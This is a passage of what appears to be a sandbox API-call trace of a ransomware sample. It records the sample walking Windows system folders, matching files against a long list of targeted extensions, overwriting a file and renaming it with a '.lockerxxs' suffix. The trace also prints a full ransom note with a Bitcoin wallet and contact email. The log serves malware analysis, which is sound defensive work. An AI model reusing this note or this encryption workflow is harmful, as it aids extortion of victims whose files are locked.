ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x234a7e1f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1da006bf, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0143.476] FindFirstFileA (in: lpFileName="C:\\Windows\\system\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec7459e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfec7459e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xf404c84a, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18fa00, dwReserved1=0x50152e, cFileName=".", cAlternateFileName="")) returned 0x502618 [0143.481] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xc893570, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xc893570, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18fa00, dwReserved1=0x50152e, cFileName=".", cAlternateFileName="")) returned 0x502618 [0143.482] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\0409\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229791ec, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0143.487] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\AdvancedInstallers\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8cdedaf6, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8cdedaf6, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0143.499] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\ar-SA\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3986c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x248a328, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x248a328, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0143.508] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\bg-BG\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3986c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x24d65dc, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x24d65dc, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0143.515] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\catroot\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfecc0852, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbb9ae6d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xbb9ae6d0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0143.516] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\catroot\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76cc7c4b, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76cc7c4b, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76cc7c4b, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0143.516] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\catroot\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfecc0852, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbb9ae6d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xbb9ae6d0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0143.655] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\catroot2\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfecc0852, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x486905c0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0x486905c0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0143.657] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0143.657] WriteFile (in: hFile=0x88, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0143.660] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0143.660] CloseHandle (hObject=0x88) returned 1 [0143.660] lstrcatA (in: lpString1="C:\\Windows\\System32\\catroot2\\", lpString2="dberr.txt" | out: lpString1="C:\\Windows\\System32\\catroot2\\dberr.txt") returned="C:\\Windows\\System32\\catroot2\\dberr.txt" [0143.660] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.ems") returned 0 [0143.660] lstrlenA (lpString="*.ems") returned 5 [0143.660] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.db") returned 0 [0143.660] lstrlenA (lpString="*.db") returned 4 [0143.660] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.dbf") returned 0 [0143.660] lstrlenA (lpString="*.dbf") returned 5 [0143.660] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.myox") returned 0 [0143.660] lstrlenA (lpString="*.myox") returned 6 [0143.660] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.myo") returned 0 [0143.660] lstrlenA (lpString="*.myo") returned 5 [0143.660] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.qbw") returned 0 [0143.660] lstrlenA (lpString="*.qbw") returned 5 [0143.660] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.qbb") returned 0 [0143.660] lstrlenA (lpString="*.qbb") returned 5 [0143.661] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.qbm") returned 0 [0143.661] lstrlenA (lpString="*.qbm") returned 5 [0143.661] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.qbo") returned 0 [0143.661] lstrlenA (lpString="*.qbo") returned 5 [0143.661] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.qbx") returned 0 [0143.661] lstrlenA (lpString="*.qbx") returned 5 [0143.661] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.qba") returned 0 [0143.661] lstrlenA (lpString="*.qba") returned 5 [0143.661] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.qby") returned 0 [0143.661] lstrlenA (lpString="*.qby") returned 5 [0143.661] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.qbj") returned 0 [0143.661] lstrlenA (lpString="*.qbj") returned 5 [0143.661] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.ofx") returned 0 [0143.661] lstrlenA (lpString="*.ofx") returned 5 [0143.661] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.qif") returned 0 [0143.661] lstrlenA (lpString="*.qif") returned 5 [0143.661] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.mye") returned 0 [0143.661] lstrlenA (lpString="*.mye") returned 5 [0143.661] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.mbox") returned 0 [0143.661] lstrlenA (lpString="*.mbox") returned 6 [0143.661] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.eml") returned 0 [0143.661] lstrlenA (lpString="*.eml") returned 5 [0143.661] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.pst") returned 0 [0143.662] lstrlenA (lpString="*.pst") returned 5 [0143.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.ost") returned 0 [0143.662] lstrlenA (lpString="*.ost") returned 5 [0143.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.idx") returned 0 [0143.662] lstrlenA (lpString="*.idx") returned 5 [0143.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.dbx") returned 0 [0143.662] lstrlenA (lpString="*.dbx") returned 5 [0143.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.sql") returned 0 [0143.662] lstrlenA (lpString="*.sql") returned 5 [0143.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.mdb") returned 0 [0143.662] lstrlenA (lpString="*.mdb") returned 5 [0143.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.fdb") returned 0 [0143.662] lstrlenA (lpString="*.fdb") returned 5 [0143.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.wab") returned 0 [0143.662] lstrlenA (lpString="*.wab") returned 5 [0143.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.dat") returned 0 [0143.662] lstrlenA (lpString="*.dat") returned 5 [0143.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\dberr.txt", pszSpec="*.txt") returned 1 [0143.662] lstrlenA (lpString="*.txt") returned 5 [0143.662] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\System32\\catroot2\\dberr.txt" | out: lpString1="C:\\Windows\\System32\\catroot2\\dberr.txt") returned="C:\\Windows\\System32\\catroot2\\dberr.txt" [0143.663] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\System32\\catroot2\\dberr.txt" | out: lpString1="C:\\Windows\\System32\\catroot2\\dberr.txt") returned="C:\\Windows\\System32\\catroot2\\dberr.txt" [0143.663] lstrcatA (in: lpString1="C:\\Windows\\System32\\catroot2\\dberr.txt", lpString2="." | out: lpString1="C:\\Windows\\System32\\catroot2\\dberr.txt.") returned="C:\\Windows\\System32\\catroot2\\dberr.txt." [0143.663] lstrcatA (in: lpString1="C:\\Windows\\System32\\catroot2\\dberr.txt.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\System32\\catroot2\\dberr.txt.lockerxxs") returned="C:\\Windows\\System32\\catroot2\\dberr.txt.lockerxxs" [0143.663] CreateFileA (lpFileName="C:\\Windows\\System32\\catroot2\\dberr.txt" (normalized: "c:\\windows\\system32\\catroot2\\dberr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0143.664] GetFileSize (in: hFile=0x88, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1fd0a [0143.664] GetFileTime (in: hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x8ab31ec, dwHighDateTime=0x1ca043e), lpLastAccessTime=0x407536*(dwLowDateTime=0x8ab31ec, dwHighDateTime=0x1ca043e), lpLastWriteTime=0x40753e*(dwLowDateTime=0xbb9ae6d0, dwHighDateTime=0x1d2fab4)) returned 1 [0143.664] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0143.664] ReadFile (in: hFile=0x88, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1fce4, lpOverlapped=0x0) returned 1 [0143.761] PathFindFileNameA (pszPath="C:\\Windows\\System32\\catroot2\\dberr.txt") returned="dberr.txt" [0143.762] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0143.762] WriteFile (in: hFile=0x88, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1fce4, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1fce4, lpOverlapped=0x0) returned 1 [0143.763] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0143.763] CloseHandle (hObject=0x88) returned 1 [0143.763] MoveFileA (lpExistingFileName="C:\\Windows\\System32\\catroot2\\dberr.txt" (normalized: "c:\\windows\\system32\\catroot2\\dberr.txt"), lpNewFileName="C:\\Windows\\System32\\catroot2\\dberr.txt.lockerxxs" (normalized: "c:\\windows\\system32\\catroot2\\dberr.txt.lockerxxs")) returned 1 [0143.765] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87df7c7, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x87df7c7, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8f8bec40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x4e0204, dwReserved1=0x4e0000, cFileName="edb.chk", cAlternateFileName="")) returned 1 [0143.765] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0143.765] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="edb.chk") returned -1 [0143.765] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="edb.chk") returned 1 [0143.765] lstrcmpiA (lpString1="", lpString2="edb.chk") returned -1 [0143.765] PathFindFileNameA (pszPath="C:\\Windows\\System32\\catroot2\\dberr.txt") returned="dberr.txt" [0143.765] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\catroot2\\" | out: lpString1="C:\\Windows\\System32\\catroot2\\") returned="C:\\Windows\\System32\\catroot2\\" [0143.765] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\catroot2\\" | out: pszPath="C:\\Windows\\System32\\catroot2\\") returned="" [0143.765] lstrcatA (in: lpString1="C:\\Windows\\System32\\catroot2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\catroot2\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\catroot2\\HOW TO DECRYPT FILES.txt" [0143.765] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\catroot2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\catroot2\\how to decrypt files.txt")) returned 0x2020 [0143.766] lstrcatA (in: lpString1="C:\\Windows\\System32\\catroot2\\", lpString2="edb.chk" | out: lpString1="C:\\Windows\\System32\\catroot2\\edb.chk") returned="C:\\Windows\\System32\\catroot2\\edb.chk" [0143.766] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.ems") returned 0 [0143.766] lstrlenA (lpString="*.ems") returned 5 [0143.766] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.db") returned 0 [0143.766] lstrlenA (lpString="*.db") returned 4 [0143.766] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.dbf") returned 0 [0143.766] lstrlenA (lpString="*.dbf") returned 5 [0143.766] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.myox") returned 0 [0143.766] lstrlenA (lpString="*.myox") returned 6 [0143.766] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.myo") returned 0 [0143.766] lstrlenA (lpString="*.myo") returned 5 [0143.766] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.qbw") returned 0 [0143.766] lstrlenA (lpString="*.qbw") returned 5 [0143.766] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.qbb") returned 0 [0143.766] lstrlenA (lpString="*.qbb") returned 5 [0143.766] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.qbm") returned 0 [0143.766] lstrlenA (lpString="*.qbm") returned 5 [0143.766] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.qbo") returned 0 [0143.766] lstrlenA (lpString="*.qbo") returned 5 [0143.766] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.qbx") returned 0 [0143.766] lstrlenA (lpString="*.qbx") returned 5 [0143.766] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.qba") returned 0 [0143.766] lstrlenA (lpString="*.qba") returned 5 [0143.767] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.qby") returned 0 [0143.767] lstrlenA (lpString="*.qby") returned 5 [0143.767] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.qbj") returned 0 [0143.767] lstrlenA (lpString="*.qbj") returned 5 [0143.767] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.ofx") returned 0 [0143.767] lstrlenA (lpString="*.ofx") returned 5 [0143.767] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.qif") returned 0 [0143.767] lstrlenA (lpString="*.qif") returned 5 [0143.767] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.mye") returned 0 [0143.767] lstrlenA (lpString="*.mye") returned 5 [0143.767] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.mbox") returned 0 [0143.767] lstrlenA (lpString="*.mbox") returned 6 [0143.767] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.eml") returned 0 [0143.767] lstrlenA (lpString="*.eml") returned 5 [0143.767] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.pst") returned 0 [0143.767] lstrlenA (lpString="*.pst") returned 5 [0143.767] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.ost") returned 0 [0143.767] lstrlenA (lpString="*.ost") returned 5 [0143.767] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.idx") returned 0 [0143.767] lstrlenA (lpString="*.idx") returned 5 [0143.767] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.dbx") returned 0 [0143.767] lstrlenA (lpString="*.dbx") returned 5 [0143.767] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.sql") returned 0 [0143.767] lstrlenA (lpString="*.sql") returned 5 [0143.767] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.mdb") returned 0 [0143.767] lstrlenA (lpString="*.mdb") returned 5 [0143.768] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.fdb") returned 0 [0143.768] lstrlenA (lpString="*.fdb") returned 5 [0143.768] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.wab") returned 0 [0143.768] lstrlenA (lpString="*.wab") returned 5 [0143.768] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.dat") returned 0 [0143.768] lstrlenA (lpString="*.dat") returned 5 [0143.768] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.txt") returned 0 [0143.768] lstrlenA (lpString="*.txt") returned 5 [0143.768] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.jpeg") returned 0 [0143.768] lstrlenA (lpString="*.jpeg") returned 6 [0143.768] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.jpg") returned 0 [0143.768] lstrlenA (lpString="*.jpg") returned 5 [0143.768] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.png") returned 0 [0143.768] lstrlenA (lpString="*.png") returned 5 [0143.768] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.php") returned 0 [0143.768] lstrlenA (lpString="*.php") returned 5 [0143.768] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.cs") returned 0 [0143.768] lstrlenA (lpString="*.cs") returned 4 [0143.768] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.cpp") returned 0 [0143.768] lstrlenA (lpString="*.cpp") returned 5 [0143.768] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.rar") returned 0 [0143.768] lstrlenA (lpString="*.rar") returned 5 [0143.768] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.zip") returned 0 [0143.768] lstrlenA (lpString="*.zip") returned 5 [0143.768] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.html") returned 0 [0143.768] lstrlenA (lpString="*.html") returned 6 [0143.768] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.htm") returned 0 [0143.769] lstrlenA (lpString="*.htm") returned 5 [0143.769] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.xlsx") returned 0 [0143.769] lstrlenA (lpString="*.xlsx") returned 6 [0143.769] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.xls") returned 0 [0143.769] lstrlenA (lpString="*.xls") returned 5 [0143.769] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.mp4") returned 0 [0143.769] lstrlenA (lpString="*.mp4") returned 5 [0143.769] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.ppt") returned 0 [0143.769] lstrlenA (lpString="*.ppt") returned 5 [0143.769] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.pptx") returned 0 [0143.769] lstrlenA (lpString="*.pptx") returned 6 [0143.769] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.doc") returned 0 [0143.769] lstrlenA (lpString="*.doc") returned 5 [0143.769] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.dot") returned 0 [0143.769] lstrlenA (lpString="*.dot") returned 5 [0143.769] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.docx") returned 0 [0143.769] lstrlenA (lpString="*.docx") returned 6 [0143.769] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.7z") returned 0 [0143.769] lstrlenA (lpString="*.7z") returned 4 [0143.769] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.tar") returned 0 [0143.769] lstrlenA (lpString="*.tar") returned 5 [0143.769] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.bz2") returned 0 [0143.769] lstrlenA (lpString="*.bz2") returned 5 [0143.769] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.gz") returned 0 [0143.769] lstrlenA (lpString="*.gz") returned 4 [0143.769] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.mkv") returned 0 [0143.770] lstrlenA (lpString="*.mkv") returned 5 [0143.770] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.eml") returned 0 [0143.770] lstrlenA (lpString="*.eml") returned 5 [0143.770] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.msg") returned 0 [0143.770] lstrlenA (lpString="*.msg") returned 5 [0143.770] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.edb") returned 0 [0143.770] lstrlenA (lpString="*.edb") returned 5 [0143.770] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.accdb") returned 0 [0143.770] lstrlenA (lpString="*.accdb") returned 7 [0143.770] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.odb") returned 0 [0143.770] lstrlenA (lpString="*.odb") returned 5 [0143.770] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.java") returned 0 [0143.770] lstrlenA (lpString="*.java") returned 6 [0143.770] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.asm") returned 0 